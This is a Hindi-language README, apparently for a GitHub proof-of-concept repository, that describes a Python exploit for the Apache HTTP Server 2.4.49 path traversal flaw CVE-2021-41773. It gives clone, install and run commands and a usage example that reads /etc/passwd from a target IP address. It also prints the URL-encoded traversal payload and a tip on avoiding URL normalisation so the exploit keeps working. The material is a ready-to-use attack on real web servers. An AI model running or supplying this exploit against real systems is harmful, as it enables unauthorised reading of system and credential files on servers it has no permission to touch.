
CVE-2021-41773 के लिए Python एक्सप्लॉइट - Apache HTTP Server 2.4.49 पाथ ट्रैवर्सल भेद्यता
CVE-2021-41773 के लिए एक Python शोषण, जो Apache HTTP सर्वर 2.4.49 में एक पाथ ट्रैवर्सल भेद्यता है जो सर्वर से मनमानी फ़ाइलें पढ़ने की अनुमति देती है।
CVE-2021-41773 Apache HTTP सर्वर 2.4.49 में एक पाथ ट्रैवर्सल भेद्यता है जो उपयोगकर्ता द्वारा आपूर्ति की गई पथों के अनुचित सत्यापन के कारण उत्पन्न होती है। यह भेद्यता हमलावरों को URL-एन्कोडेड पाथ ट्रैवर्सल अनुक्रमों का उपयोग करके दस्तावेज़ रूट से बाहर की फ़ाइलें पढ़ने की अनुमति देती है।
git clone https://github.com/blu3ming/PoC-CVE-2021-41773
cd PoC-CVE-2021-41773
pip install -r requirements.txt
python3 cve-2021-41773.py -t <target> -f <file_path>
-t, --target: लक्ष्य URL (यदि आवश्यक हो तो प्रोटोकॉल और पोर्ट शामिल करें)-f, --file: सर्वर से पढ़ने के लिए फ़ाइल पथ# Read /etc/passwd
python3 cve-2021-41773.py -t http://192.168.1.100:443 -f /etc/passwd

यह शोषण Apache के पथ सत्यापन को बायपास करने के लिए URL-एन्कोडेड पाथ ट्रैवर्सल अनुक्रमों (.%2e/%2e%2e/) का उपयोग करता है:
.%2e) प्रारंभिक सुरक्षा जाँचों को बायपास करते हैंमुख्य बात यह है कि requests.get() के बजाय urllib3.PoolManager() का उपयोग किया जाए ताकि स्वचालित URL सामान्यीकरण को रोका जा सके जो शोषण को तोड़ सकता है।
# The exploit URL structure:
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/{target_file}
यह इस रूप में बदल जाता है:
/cgi-bin/../../../../{target_file}